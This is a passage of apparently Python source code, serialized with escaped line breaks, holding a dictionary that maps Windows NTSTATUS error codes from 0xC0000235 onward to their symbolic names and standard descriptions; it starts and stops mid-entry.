attempts or password change attempts have been requested.\"),\n        0xC0000235: (\"STATUS_HANDLE_NOT_CLOSABLE\",\"NtClose was called on a handle that was protected from close via NtSetInformationObject.\"),\n        0xC0000236: (\"STATUS_CONNECTION_REFUSED\",\"The transport-connection attempt was refused by the remote system.\"),\n        0xC0000237: (\"STATUS_GRACEFUL_DISCONNECT\",\"The transport connection was gracefully closed.\"),\n        0xC0000238: (\"STATUS_ADDRESS_ALREADY_ASSOCIATED\",\"The transport endpoint already has an address associated with it.\"),\n        0xC0000239: (\"STATUS_ADDRESS_NOT_ASSOCIATED\",\"An address has not yet been associated with the transport endpoint.\"),\n        0xC000023A: (\"STATUS_CONNECTION_INVALID\",\"An operation was attempted on a nonexistent transport connection.\"),\n        0xC000023B: (\"STATUS_CONNECTION_ACTIVE\",\"An invalid operation was attempted on an active transport connection.\"),\n        0xC000023C: (\"STATUS_NETWORK_UNREACHABLE\",\"The remote network is not reachable by the transport.\"),\n        0xC000023D: (\"STATUS_HOST_UNREACHABLE\",\"The remote system is not reachable by the transport.\"),\n        0xC000023E: (\"STATUS_PROTOCOL_UNREACHABLE\",\"The remote system does not support the transport protocol.\"),\n        0xC000023F: (\"STATUS_PORT_UNREACHABLE\",\"No service is operating at the destination port of the transport on the remote system.\"),\n        0xC0000240: (\"STATUS_REQUEST_ABORTED\",\"The request was aborted.\"),\n        0xC0000241: (\"STATUS_CONNECTION_ABORTED\",\"The transport connection was aborted by the local system.\"),\n        0xC0000242: (\"STATUS_BAD_COMPRESSION_BUFFER\",\"The specified buffer contains ill-formed data.\"),\n        0xC0000243: (\"STATUS_USER_MAPPED_FILE\",\"The requested operation cannot be performed on a file with a user mapped section open.\"),\n        0xC0000244: (\"STATUS_AUDIT_FAILED\",\"{Audit Failed} An attempt to generate a security audit failed.\"),\n        0xC0000245: (\"STATUS_TIMER_RESOLUTION_NOT_SET\",\"The timer resolution was not previously set by the current process.\"),\n        0xC0000246: (\"STATUS_CONNECTION_COUNT_LIMIT\",\"A connection to the server could not be made because the limit on the number of concurrent connections for this account has been reached.\"),\n        0xC0000247: (\"STATUS_LOGIN_TIME_RESTRICTION\",\"Attempting to log on during an unauthorized time of day for this account.\"),\n        0xC0000248: (\"STATUS_LOGIN_WKSTA_RESTRICTION\",\"The account is not authorized to log on from this station.\"),\n        0xC0000249: (\"STATUS_IMAGE_MP_UP_MISMATCH\",\"{UP/MP Image Mismatch} The image %hs has been modified for use on a uniprocessor system, but you are running it on a multiprocessor machine. Reinstall the image file.\"),\n        0xC0000250: (\"STATUS_INSUFFICIENT_LOGON_INFO\",\"There is insufficient account information to log you on.\"),\n        0xC0000251: (\"STATUS_BAD_DLL_ENTRYPOINT\",\"{Invalid DLL Entrypoint} The dynamic link library %hs is not written correctly. The stack pointer has been left in an inconsistent state. The entry point should be declared as WINAPI or STDCALL. Select YES to fail the DLL load. Select NO to continue execution. Selecting NO may cause the application to operate incorrectly.\"),\n        0xC0000252: (\"STATUS_BAD_SERVICE_ENTRYPOINT\",\"{Invalid Service Callback Entrypoint} The %hs service is not written correctly. The stack pointer has been left in an inconsistent state. The callback entry point should be declared as WINAPI or STDCALL. Selecting OK will cause the service to continue operation. However, the service process may operate incorrectly.\"),\n        0xC0000253: (\"STATUS_LPC_REPLY_LOST\",\"The server received the messages but did not send a reply.\"),\n        0xC0000254: (\"STATUS_IP_ADDRESS_CONFLICT1\",\"There is an IP address conflict with another system on the network.\"),\n        0xC0000255: (\"STATUS_IP_ADDRESS_CONFLICT2\",\"There is an IP address conflict with another system on the network.\"),\n        0xC0000256: (\"STATUS_REGISTRY_QUOTA_LIMIT\",\"{Low On Registry Space} The system has reached the maximum size that is allowed for the system part of the registry. Additional storage requests will be ignored.\"),\n        0xC0000257: (\"STATUS_PATH_NOT_COVERED\",\"The contacted server does not support the indicated part of the DFS namespace.\"),\n        0xC0000258: (\"STATUS_NO_CALLBACK_ACTIVE\",\"A callback return system service cannot be executed when no callback is active.\"),\n        0xC0000259: (\"STATUS_LICENSE_QUOTA_EXCEEDED\",\"The service being accessed is licensed for a particular number of connections. No more connections can be made to the service at this time because the service has already accepted the maximum number of connections.\"),\n        0xC000025A: (\"STATUS_PWD_TOO_SHORT\",\"The password provided is too short to meet the policy of your user account. Choose a longer password.\"),\n        0xC000025B: (\"STATUS_PWD_TOO_RECENT\",\"The policy of your user account does not allow you to change passwords too frequently. This is done to prevent users from changing back to a familiar, but potentially discovered, password. If you feel your password has been compromised, contact your administrator immediately to have a new one assigned.\"),\n        0xC000025C: (\"STATUS_PWD_HISTORY_CONFLICT\",\"You have attempted to change your password to one that you have used in the past. The policy of your user account does not allow this. Select a password that you have not previously used.\"),\n        0xC000025E: (\"STATUS_PLUGPLAY_NO_DEVICE\",\"You have attempted to load a legacy device driver while its device instance had been disabled.\"),\n        0xC000025F: (\"STATUS_UNSUPPORTED_COMPRESSION\",\"The specified compression format is unsupported.\"),\n        0xC0000260: (\"STATUS_INVALID_HW_PROFILE\",\"The specified hardware profile configuration is invalid.\"),\n        0xC0000261: (\"STATUS_INVALID_PLUGPLAY_DEVICE_PATH\",\"The specified Plug and Play registry device path is invalid.\"),\n        0xC0000262: (\"STATUS_DRIVER_ORDINAL_NOT_FOUND\",\"{Driver Entry Point Not Found} The %hs device driver could not locate the ordinal %ld in driver %hs.\"),\n        0xC0000263: (\"STATUS_DRIVER_ENTRYPOINT_NOT_FOUND\",\"{Driver Entry Point Not Found} The %hs device driver could not locate the entry point %hs in driver %hs.\"),\n        0xC0000264: (\"STATUS_RESOURCE_NOT_OWNED\",\"{Application Error} The application attempted to release a resource it did not own. Click OK to terminate the application.\"),\n        0xC0000265: (\"STATUS_TOO_MANY_LINKS\",\"An attempt was made to create more links on a file than the file system supports.\"),\n        0xC0000266: (\"STATUS_QUOTA_LIST_INCONSISTENT\",\"The specified quota list is internally inconsistent with its descriptor.\"),\n        0xC0000267: (\"STATUS_FILE_IS_OFFLINE\",\"The specified file has been relocated to offline storage.\"),\n        0xC0000268: (\"STATUS_EVALUATION_EXPIRATION\",\"{Windows Evaluation Notification} The evaluation period for this installation of Windows has expired. This system will shutdown in 1 hour. To restore access to this installation of Windows, upgrade this installation by using a licensed distribution of this product.\"),\n        0xC0000269: (\"STATUS_ILLEGAL_DLL_RELOCATION\",\"{Illegal System DLL Relocation} The system DLL %hs was relocated in memory. The application will not run properly. The relocation occurred because the DLL %hs occupied an address range that is reserved for Windows system DLLs. The vendor supplying the DLL should be contacted for a new DLL.\"),\n        0xC000026A: (\"STATUS_LICENSE_VIOLATION\",\"{License Violation} The system has detected tampering with your registered product type. This is a violation of your software license. Tampering with the product type is not permitted.\"),\n        0xC000026B: (\"STATUS_DLL_INIT_FAILED_LOGOFF\",\"{DLL Initialization Failed} The application failed to initialize because the window station is shutting down.\"),\n        0xC000026C: (\"STATUS_DRIVER_UNABLE_TO_LOAD\",\"{Unable to Load Device Driver} %hs device driver could not be loaded. Error Status was 0x%x.\"),\n        0xC000026D: (\"STATUS_DFS_UNAVAILABLE\",\"DFS is unavailable on the contacted server.\"),\n        0xC000026E: (\"STATUS_VOLUME_DISMOUNTED\",\"An operation was attempted to a volume after it was dismounted.\"),\n        0xC000026F: (\"STATUS_WX86_INTERNAL_ERROR\",\"An internal error occurred in the Win32 x86 emulation subsystem.\"),\n        0xC0000270: (\"STATUS_WX86_FLOAT_STACK_CHECK\",\"Win32 x86 emulation subsystem floating-point stack check.\"),\n        0xC0000271: (\"STATUS_VALIDATE_CONTINUE\",\"The validation process needs to continue on to the next step.\"),\n        0xC0000272: (\"STATUS_NO_MATCH\",\"There was no match for the specified key in the index.\"),\n        0xC0000273: (\"STATUS_NO_MORE_MATCHES\",\"There are no more matches for the current index enumeration.\"),\n        0xC0000275: (\"STATUS_NOT_A_REPARSE_POINT\",\"The NTFS file or directory is not a reparse point.\"),\n        0xC0000276: (\"STATUS_IO_REPARSE_TAG_INVALID\",\"The Windows I/O reparse tag passed for the NTFS reparse point is invalid.\"),\n        0xC0000277: (\"STATUS_IO_REPARSE_TAG_MISMATCH\",\"The Windows I/O reparse tag does not match the one that is in the NTFS reparse point.\"),\n        0xC0000278: (\"STATUS_IO_REPARSE_DATA_INVALID\",\"The user data passed for the NTFS reparse point is invalid.\"),\n        0xC0000279: (\"STATUS_IO_REPARSE_TAG_NOT_HANDLED\",\"The layered file system driver for this I/O tag did not handle it when needed.\"),\n        0xC0000280: (\"STATUS_REPARSE_POINT_NOT_RESOLVED\",\"The NTFS symbolic link could not be resolved even though the initial file name is valid.\"),\n        0xC0000281: (\"STATUS_DIRECTORY_IS_A_REPARSE_POINT\",\"The NTFS directory is a reparse point.\"),\n        0xC0000282: (\"STATUS_RANGE_LIST_CONFLICT\",\"The range could not be added to the range list because of a conflict.\"),\n        0xC0000283: (\"STATUS_SOURCE_ELEMENT_EMPTY\",\"The specified medium changer source element contains no media.\"),\n        0xC0000284: (\"STATUS_DESTINATION_ELEMENT_FULL\",\"The specified medium changer destination element already contains media.\"),\n        0xC0000285: (\"STATUS_ILLEGAL_ELEMENT_ADDRESS\",\"The specified medium changer element does not exist.\"),\n        0xC0000286: (\"STATUS_MAGAZINE_NOT_PRESENT\",\"The specified element is contained in a magazine that is no longer present.\"),\n        0xC0000287: (\"STATUS_REINITIALIZATION_NEEDED\",\"The device requires re-initialization due to hardware errors.\"),\n        0xC000028A: (\"STATUS_ENCRYPTION_FAILED\",\"The file encryption attempt failed.\"),\n        0xC000028B: (\"STATUS_DECRYPTION_FAILED\",\"The file decryption attempt failed.\"),\n        0xC000028C: (\"STATUS_RANGE_NOT_FOUND\",\"The specified range could not be found in the range list.\"),\n        0xC000028D: (\"STATUS_NO_RECOVERY_POLICY\",\"There is no encryption recovery policy configured for this system.\"),\n        0xC000028E: (\"STATUS_NO_EFS\",\"The required encryption driver is not loaded for this system.\"),\n        0xC000028F: (\"STATUS_WRONG_EFS\",\"The file was encrypted with a different encryption driver than is currently loaded.\"),\n        0xC0000290: (\"STATUS_NO_USER_KEYS\",\"There are no EFS keys defined for the user.\"),\n        0xC0000291: (\"STATUS_FILE_NOT_ENCRYPTED\",\"The specified file is not encrypted.\"),\n        0xC0000292: (\"STATUS_NOT_EXPORT_FORMAT\",\"The specified file is not in the defined EFS export format.\"),\n        0xC0000293: (\"STATUS_FILE_ENCRYPTED\",\"The specified file is encrypted and the user does not have the ability to decrypt it.\"),\n        0xC0000295: (\"STATUS_WMI_GUID_NOT_FOUND\",\"The GUID passed was not recognized as valid by a WMI data provider.\"),\n        0xC0000296: (\"STATUS_WMI_INSTANCE_NOT_FOUND\",\"The instance name passed was not recognized as valid by a WMI data provider.\"),\n        0xC0000297: (\"STATUS_WMI_ITEMID_NOT_FOUND\",\"The data item ID passed was not recognized as valid by a WMI data provider.\"),\n        0xC0000298: (\"STATUS_WMI_TRY_AGAIN\",\"The WMI request could not be completed and should be retried.\"),\n        0xC0000299: (\"STATUS_SHARED_POLICY\",\"The policy object is shared and can only be modified at the root.\"),\n        0xC000029A: (\"STATUS_POLICY_OBJECT_NOT_FOUND\",\"The policy object does not exist when it should.\"),\n        0xC000029B: (\"STATUS_POLICY_ONLY_IN_DS\",\"The requested policy information only lives in the Ds.\"),\n        0xC000029C: (\"STATUS_VOLUME_NOT_UPGRADED\",\"The volume must be upgraded to enable this feature.\"),\n        0xC000029D: (\"STATUS_REMOTE_STORAGE_NOT_ACTIVE\",\"The remote storage service is not operational at this time.\"),\n        0xC000029E: (\"STATUS_REMOTE_STORAGE_MEDIA_ERROR\",\"The remote storage service encountered a media error.\"),\n        0xC000029F: (\"STATUS_NO_TRACKING_SERVICE\",\"The tracking (workstation) service is not running.\"),\n        0xC00002A0: (\"STATUS_SERVER_SID_MISMATCH\",\"The server process is running under a SID that is different from the SID that is required by client.\"),\n        0xC00002A1: (\"STATUS_DS_NO_ATTRIBUTE_OR_VALUE\",\"The specified directory service attribute or value does not exist.\"),\n        0xC00002A2: (\"STATUS_DS_INVALID_ATTRIBUTE_SYNTAX\",\"The attribute syntax specified to the directory service is invalid.\"),\n        0xC00002A3: (\"STATUS_DS_ATTRIBUTE_TYPE_UNDEFINED\",\"The attribute type specified to the directory service is not defined.\"),\n        0xC00002A4: (\"STATUS_DS_ATTRIBUTE_OR_VALUE_EXISTS\",\"The specified directory service attribute or value already exists.\"),\n        0xC00002A5: (\"STATUS_DS_BUSY\",\"The directory service is busy.\"),\n        0xC00002A6: (\"STATUS_DS_UNAVAILABLE\",\"The directory service is unavailable.\"),\n        0xC00002A7: (\"STATUS_DS_NO_RIDS_ALLOCATED\",\"The directory service was unable to allocate a relative identifier.\"),\n        0xC00002A8: (\"STATUS_DS_NO_MORE_RIDS\",\"The directory service has exhausted the pool of relative identifiers.\"),\n        0xC00002A9: (\"STATUS_DS_INCORRECT_ROLE_OWNER\",\"The requested operation could not be performed because the directory service is not the master for that type of operation.\"),\n        0xC00002AA: (\"STATUS_DS_RIDMGR_INIT_ERROR\",\"The directory service was unable to initialize the subsystem that allocates relative identifiers.\"),\n        0xC00002AB: (\"STATUS_DS_OBJ_CLASS_VIOLATION\",\"The requested operation did not satisfy one or more constraints that are associated with the class of the object.\"),\n        0xC00002AC: (\"STATUS_DS_CANT_ON_NON_LEAF\",\"The directory service can perform the requested operation only on a leaf object.\"),\n        0xC00002AD: (\"STATUS_DS_CANT_ON_RDN\",\"The directory service cannot perform the requested operation on the Relatively Defined Name (RDN) attribute of an object.\"),\n        0xC00002AE: (\"STATUS_DS_CANT_MOD_OBJ_CLASS\",\"The directory service detected an attempt to modify the object class of an object.\"),\n        0xC00002AF: (\"STATUS_DS_CROSS_DOM_MOVE_FAILED\",\"An error occurred while performing a cross domain move operation.\"),\n        0xC00002B0: (\"STATUS_DS_GC_NOT_AVAILABLE\",\"Unable to contact the global catalog server.\"),\n        0xC00002B1: (\"STATUS_DIRECTORY_SERVICE_REQUIRED\",\"The requested operation requires a directory service, and none was available.\"),\n        0xC00002B2: (\"STATUS_REPARSE_ATTRIBUTE_CONFLICT\",\"The reparse attribute cannot be set because it is incompatible with an existing attribute.\"),\n        0xC00002B3: (\"STATUS_CANT_ENABLE_DENY_ONLY\",\"A group marked \\\"use for deny only\\\" cannot be enabled.\"),\n        0xC00002B4: (\"STATUS_FLOAT_MULTIPLE_FAULTS\",\"{EXCEPTION} Multiple floating-point faults.\"),\n        0xC00002B5: (\"STATUS_FLOAT_MULTIPLE_TRAPS\",\"{EXCEPTION} Multiple floating-point traps.\"),\n        0xC00002B6: (\"STATUS_DEVICE_REMOVED\",\"The device has been removed.\"),\n        0xC00002B7: (\"STATUS_JOURNAL_DELETE_IN_PROGRESS\",\"The volume change journal is being deleted.\"),\n        0xC00002B8: (\"STATUS_JOURNAL_NOT_ACTIVE\",\"The volume change journal is not active.\"),\n        0xC00002B9: (\"STATUS_NOINTERFACE\",\"The requested interface is not supported.\"),\n        0xC00002C1: (\"STATUS_DS_ADMIN_LIMIT_EXCEEDED\",\"A directory service resource limit has been exceeded.\"),\n        0xC00002C2: (\"STATUS_DRIVER_FAILED_SLEEP\",\"{System Standby Failed} The driver %hs does not support standby mode. Updating this driver may allow the system to go to standby mode.\"),\n        0xC00002C3: (\"STATUS_MUTUAL_AUTHENTICATION_FAILED\",\"Mutual Authentication failed. The server password is out of date at the domain controller.\"),\n        0xC00002C4: (\"STATUS_CORRUPT_SYSTEM_FILE\",\"The system file %1 has become corrupt and has been replaced.\"),\n        0xC00002C5: (\"STATUS_DATATYPE_MISALIGNMENT_ERROR\",\"{EXCEPTION} Alignment Error A data type misalignment error was detected in a load or store instruction.\"),\n        0xC00002C6: (\"STATUS_WMI_READ_ONLY\",\"The WMI data item or data block is read-only.\"),\n        0xC00002C7: (\"STATUS_WMI_SET_FAILURE\",\"The WMI data item or data block could not be changed.\"),\n        0xC00002C8: (\"STATUS_COMMITMENT_MINIMUM\",\"{Virtual Memory Minimum Too Low} Your system is low on virtual memory. Windows is increasing the size of your virtual memory paging file. During this process, memory requests for some applications may be denied. For more information, see Help.\"),\n        0xC00002C9: (\"STATUS_REG_NAT_CONSUMPTION\",\"{EXCEPTION} Register NaT consumption faults. A NaT value is consumed on a non-speculative instruction.\"),\n        0xC00002CA: (\"STATUS_TRANSPORT_FULL\",\"The transport element of the medium changer contains media, which is causing the operation to fail.\"),\n        0xC00002CB: (\"STATUS_DS_SAM_INIT_FAILURE\",\"Security Accounts Manager initialization failed because of the following error: %hs Error Status: 0x%x. Click OK to shut down this system and restart in Directory Services Restore Mode. Check the event log for more detailed information.\"),\n        0xC00002CC: (\"STATUS_ONLY_IF_CONNECTED\",\"This operation is supported only when you are connected to the server.\"),\n        0xC00002CD: (\"STATUS_DS_SENSITIVE_GROUP_VIOLATION\",\"Only an administrator can modify the membership list of an administrative group.\"),\n        0xC00002CE: (\"STATUS_PNP_RESTART_ENUMERATION\",\"A device was removed so enumeration must be restarted.\"),\n        0xC00002CF: (\"STATUS_JOURNAL_ENTRY_DELETED\",\"The journal entry has been deleted from the journal.\"),\n        0xC00002D0: (\"STATUS_DS_CANT_MOD_PRIMARYGROUPID\",\"Cannot change the primary group ID of a domain controller account.\"),\n        0xC00002D1: (\"STATUS_SYSTEM_IMAGE_BAD_SIGNATURE\",\"{Fatal System Error} The system image %s is not properly signed. The file has been replaced with the signed file. The system has been shut down.\"),\n        0xC00002D2: (\"STATUS_PNP_REBOOT_REQUIRED\",\"The device will not start without a reboot.\"),\n        0xC00002D3: (\"STATUS_POWER_STATE_INVALID\",\"The power state of the current device cannot support this request.\"),\n        0xC00002D4: (\"STATUS_DS_INVALID_GROUP_TYPE\",\"The specified group type is invalid.\"),\n        0xC00002D5: (\"STATUS_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN\",\"In a mixed domain, no nesting of a global group if the group is security enabled.\"),\n        0xC00002D6: (\"STATUS_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN\",\"In a mixed domain, cannot nest local groups with other local groups, if the group is security enabled.\"),\n        0xC00002D7: (\"STATUS_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER\",\"A global group cannot have a local group as a member.\"),\n        0xC00002D8: (\"STATUS_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER\",\"A global group cannot have a universal group as a member.\"),\n        0xC00002D9: (\"STATUS_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER\",\"A universal group cannot have a local group as a member.\"),\n        0xC00002DA: (\"STATUS_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER\",\"A global group cannot have a cross-domain member.\"),\n        0xC00002DB: (\"STATUS_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER\",\"A local group cannot have another cross-domain local group as a member.\"),\n        0xC00002DC: (\"STATUS_DS_HAVE_PRIMARY_MEMBERS\",\"Cannot change to a security-disabled group because primary members are in this group.\"),\n        0xC00002DD: (\"STATUS_WMI_NOT_SUPPORTED\",\"The WMI operation is not supported by the data block or method.\"),\n        0xC00002DE: (\"STATUS_INSUFFICIENT_POWER\",\"There is not enough power to complete the requested operation.\"),\n        0xC00002DF: (\"STATUS_SAM_NEED_BOOTKEY_PASSWORD\",\"The Security Accounts Manager needs to get the boot password.\"),\n        0xC00002E0: (\"STATUS_SAM_NEED_BOOTKEY_FLOPPY\",\"The Security Accounts Manager needs to get the boot key from the floppy disk.\"),\n        0xC00002E1: (\"STATUS_DS_CANT_START\",\"The directory service cannot start.\"),\n        0xC00002E2: (\"STATUS_DS_INIT_FAILURE\",\"The directory service could not start because of the following error: %hs Error Status: 0x%x. Click OK to shut down this system and restart in Directory Services Restore Mode. Check the event log for more detailed information.\"),\n        0xC00002E3: (\"STATUS_SAM_INIT_FAILURE\",\"The Security Accounts Manager initialization failed because of the following error: %hs Error Status: 0x%x. Click OK to shut down this system and restart in Safe Mode. Check the event log for more detailed information.\"),\n        0xC00002E4: (\"STATUS_DS_GC_REQUIRED\",\"The requested operation can be performed only on a global catalog server.\"),\n        0xC00002E5: (\"STATUS_DS_LOCAL_MEMBER_OF_LOCAL_ONLY\",\"A local group can only be a member of other local groups in the same domain.\"),\n        0xC00002E6: (\"STATUS_DS_NO_FPO_IN_UNIVERSAL_GROUPS\",\"Foreign security principals cannot be members of universal groups.\"),\n        0xC00002E7: (\"STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED\",\"Your computer could not be joined to the domain. You have exceeded the maximum number of computer accounts you are allowed to create in this domain. Contact your system administrator to have this limit reset or increased.\"),\n        0xC00002E9: (\"STATUS_CURRENT_DOMAIN_NOT_ALLOWED\",\"This operation cannot be performed on the current domain.\"),\n        0xC00002EA: (\"STATUS_CANNOT_MAKE\",\"The directory or file cannot be created.\"),\n        0xC00002EB: (\"STATUS_SYSTEM_SHUTDOWN\",\"The system is in the process of shutting down.\"),\n        0xC00002EC: (\"STATUS_DS_INIT_FAILURE_CONSOLE\",\"Directory Services could not start because of the following error: %hs Error Status: 0x%x. Click OK to shut down the system. You can use the recovery console to diagnose the system further.\"),\n        0xC00002ED: (\"STATUS_DS_SAM_INIT_FAILURE_CONSOLE\",\"Security Accounts Manager initialization failed because of the following error: %hs Error Status: 0x%x. Click OK to shut down the system. You can use the recovery console to diagnose the system further.\"),\n        0xC00002EE: (\"STATUS_UNFINISHED_CONTEXT_DELETED\",\"A security context was deleted before the context was completed. This is considered a logon failure.\"),\n        0xC00002EF: (\"STATUS_NO_TGT_REPLY\",\"The client is trying to negotiate a context and the server requires user-to-user but did not send a TGT reply.\"),\n        0xC00002F0: (\"STATUS_OBJECTID_NOT_FOUND\",\"An object ID was not found in the file.\"),\n        0xC00002F1: (\"STATUS_NO_IP_ADDRESSES\",\"Unable to accomplish the requested task because the local machine does not have any IP addresses.\"),\n        0xC00002F2: (\"STATUS_WRONG_CREDENTIAL_HANDLE\",\"The supplied credential handle does not match the credential that is associated with the security context.\"),\n        0xC00002F3: (\"STATUS_CRYPTO_SYSTEM_INVALID\",\"The crypto system or checksum function is invalid because a required function is unavailable.\"),\n        0xC00002F4: (\"STATUS_MAX_REFERRALS_EXCEEDED\",\"The number of maximum ticket referrals has been exceeded.\"),\n        0xC00002F5: (\"STATUS_MUST_BE_KDC\",\"The local machine must be a Kerberos KDC (domain controller) and it is not.\"),\n        0xC00002F6: (\"STATUS_STRONG_CRYPTO_NOT_SUPPORTED\",\"The other end of the security negotiation requires strong crypto but it is not supported on the local machine.\"),\n        0xC00002F7: (\"STATUS_TOO_MANY_PRINCIPALS\",\"The KDC reply contained more than one principal name.\"),\n        0xC00002F8: (\"STATUS_NO_PA_DATA\",\"Expected to find PA data for a hint of what etype to use, but it was not found.\"),\n        0xC00002F9: (\"STATUS_PKINIT_NAME_MISMATCH\",\"The client certificate does not contain a valid UPN, or does not match the client name in the logon request. Contact your administrator.\"),\n        0xC00002FA: (\"STATUS_SMARTCARD_LOGON_REQUIRED\",\"Smart card logon is required and was not used.\"),\n        0xC00002FB: (\"STATUS_KDC_INVALID_REQUEST\",\"An invalid request was sent to the KDC.\"),\n        0xC00002FC: (\"STATUS_KDC_UNABLE_TO_REFER\",\"The KDC was unable to generate a referral for the service requested.\"),\n        0xC00002FD: (\"STATUS_KDC_UNKNOWN_ETYPE\",\"The encryption type requested is not supported by the KDC.\"),\n        0xC00002FE: (\"STATUS_SHUTDOWN_IN_PROGRESS\",\"A system shutdown is in progress.\"),\n        0xC00002FF: (\"STATUS_SERVER_SHUTDOWN_IN_PROGRESS\",\"The server machine is shutting down.\"),\n        0xC0000300: (\"STATUS_NOT_SUPPORTED_ON_SBS\",\"This operation is not supported on a computer running Windows Server 2003 for Small Business Server.\"),\n        0xC0000301: (\"STATUS_WMI_GUID_DISCONNECTED\",\"The WMI GUID is no longer available.\"),\n        0xC0000302: (\"STATUS_WMI_ALREADY_DISABLED\",\"Collection or events for the WMI GUID is already disabled.\"),\n        0xC0000303: (\"STATUS_WMI_ALREADY_ENABLED\",\"Collection or events for the WMI GUID is already enabled.\"),\n        0xC0000304: (\"STATUS_MFT_TOO_FRAGMENTED\",\"The master file table on the volume is too fragmented to complete this operation.\"),\n        0xC0000305: (\"STATUS_COPY_PROTECTION_FAILURE\",\"Copy protection failure.\"),\n        0xC0000306: (\"STATUS_CSS_AUTHENTICATION_FAILURE\",\"Copy protection error-DVD CSS Authentication failed.\"),\n        0xC0000307: (\"STATUS_CSS_KEY_NOT_PRESENT\",\"Copy protection error-The specified sector does not contain a valid key.\"),\n        0xC0000308: (\"STATUS_CSS_KEY_NOT_ESTABLISHED\",\"Copy protection error-DVD session key not established.\"),\n        0xC0000309: (\"STATUS_CSS_SCRAMBLED_SECTOR\",\"Copy protection error-The read failed because the sector is encrypted.\"),\n        0xC000030A: (\"STATUS_CSS_REGION_MISMATCH\",\"Copy protection error-The region of the specified DVD does not correspond to the region setting of the drive.\"),\n        0xC000030B: (\"STATUS_CSS_RESETS_EXHAUSTED\",\"Copy protection error-The region setting of the drive may be permanent.\"),\n        0xC0000320: (\"STATUS_PKINIT_FAILURE\",\"The Kerberos protocol encountered an error while validating the KDC certificate during smart card logon. There is more information in the system event log.\"),\n        0xC0000321: (\"STATUS_SMARTCARD_SUBSYSTEM_FAILURE\",\"The Kerberos protocol encountered an error while attempting to use the smart card subsystem.\"),\n        0xC0000322: (\"STATUS_NO_KERB_KEY\",\"The target server does not have acceptable Kerberos credentials.\"),\n        0xC0000350: (\"STATUS_HOST_DOWN\",\"The transport determined that the remote system is down.\"),\n        0xC0000351: (\"STATUS_UNSUPPORTED_PREAUTH\",\"An unsupported pre-authentication mechanism was presented to the Kerberos package.\"),\n        0xC0000352: (\"STATUS_EFS_ALG_BLOB_TOO_BIG\",\"The encryption algorithm that is used on the source file needs a bigger key buffer than the one that is used on the destination file.\"),\n        0xC0000353: (\"STATUS_PORT_NOT_SET\",\"An attempt to remove a processes DebugPort was made, but a port was not already associated with the process.\"),\n        0xC0000354: (\"STATUS_DEBUGGER_INACTIVE\",\"An attempt to do an operation on a debug port failed because the port is in the process of being deleted.\"),\n        0xC0000355: (\"STATUS_DS_VERSION_CHECK_FAILURE\",\"This version of Windows is not compatible with the behavior version of the directory forest, domain, or domain controller.\"),\n        0xC0000356: (\"STATUS_AUDITING_DISABLED\",\"The specified event is currently not being audited.\"),\n        0xC0000357: (\"STATUS_PRENT4_MACHINE_ACCOUNT\",\"The machine account was created prior to Windows NT 4.0. The account needs to be recreated.\"),\n        0xC0000358: (\"STATUS_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER\",\"An account group cannot have a universal group as a member.\"),\n        0xC0000359: (\"STATUS_INVALID_IMAGE_WIN_32\",\"The specified image file did not have the correct format; it appears to be a 32-bit Windows image.\"),\n        0xC000035A: (\"STATUS_INVALID_IMAGE_WIN_64\",\"The specified image file did not have the correct format; it appears to be a 64-bit Windows image.\"),\n        0xC000035B: (\"STATUS_BAD_BINDINGS\",\"The client's supplied SSPI channel bindings were incorrect.\"),\n        0xC000035C: (\"STATUS_NETWORK_SESSION_EXPIRED\",\"The client session has expired; so the client must re-authenticate to continue accessing the remote resources.\"),\n        0xC000035D: (\"STATUS_APPHELP_BLOCK\",\"The AppHelp dialog box canceled; thus preventing the application from starting.\"),\n        0xC000035E: (\"STATUS_ALL_SIDS_FILTERED\",\"The SID filtering operation removed all SIDs.\"),\n        0xC000035F: (\"STATUS_NOT_SAFE_MODE_DRIVER\",\"The driver was not loaded because the system is starting in safe mode.\"),\n        0xC0000361: (\"STATUS_ACCESS_DISABLED_BY_POLICY_DEFAULT\",\"Access to %1 has been restricted by your Administrator by the default software restriction policy level.\"),\n        0xC0000362: (\"STATUS_ACCESS_DISABLED_BY_POLICY_PATH\",\"Access to %1 has been restricted by your Administrator by location with policy rule %2 placed on path %3.\"),\n        0xC0000363: (\"STATUS_ACCESS_DISABLED_BY_POLICY_PUBLISHER\",\"Access to %1 has been restricted by your Administrator by software publisher policy.\"),\n        0xC0000364: (\"STATUS_ACCESS_DISABLED_BY_POLICY_OTHER\",\"Access to %1 has been restricted by your Administrator by policy rule %2.\"),\n        0xC0000365: (\"STATUS_FAILED_DRIVER_ENTRY\",\"The driver was not loaded because it failed its initialization call.\"),\n        0xC0000366: (\"STATUS_DEVICE_ENUMERATION_ERROR\",\"The device encountered an error while applying power or reading the device configuration. This may be caused by a failure of your hardware or by a poor connection.\"),\n        0xC0000368: (\"STATUS_MOUNT_POINT_NOT_RESOLVED\",\"The create operation failed because the name contained at least one mount point that resolves to a volume to which the specified device object is not attached.\"),\n        0xC0000369: (\"STATUS_INVALID_DEVICE_OBJECT_PARAMETER\",\"The device object parameter is either not a valid device object or is not attached to the volume that is specified by the file name.\"),\n        0xC000036A: (\"STATUS_MCA_OCCURED\",\"A machine check error has occurred. Check the system event log for additional information.\"),\n        0xC000036B: (\"STATUS_DRIVER_BLOCKED_CRITICAL\",\"Driver %2 has been blocked from loading.\"),\n        0xC000036C: (\"STATUS_DRIVER_BLOCKED\",\"Driver %2 has been blocked from loading.\"),\n        0xC000036D: (\"STATUS_DRIVER_DATABASE_ERROR\",\"There was error [%2] processing the driver database.\"),\n        0xC000036E: (\"STATUS_SYSTEM_HIVE_TOO_LARGE\",\"System hive size has exceeded its limit.\"),\n        0xC000036F: (\"STATUS_INVALID_IMPORT_OF_NON_DLL\",\"A dynamic link library (DLL) referenced a module that was neither a DLL nor the process's executable image.\"),\n        0xC0000371: (\"STATUS_NO_SECRETS\",\"The local account store does not contain secret material for the specified account.\"),\n        0xC0000372: (\"STATUS_ACCESS_DISABLED_NO_SAFER_UI_BY_POLICY\",\"Access to %1 has been restricted by your Administrator by policy rule %2.\"),\n        0xC0000373: (\"STATUS_FAILED_STACK_SWITCH\",\"The 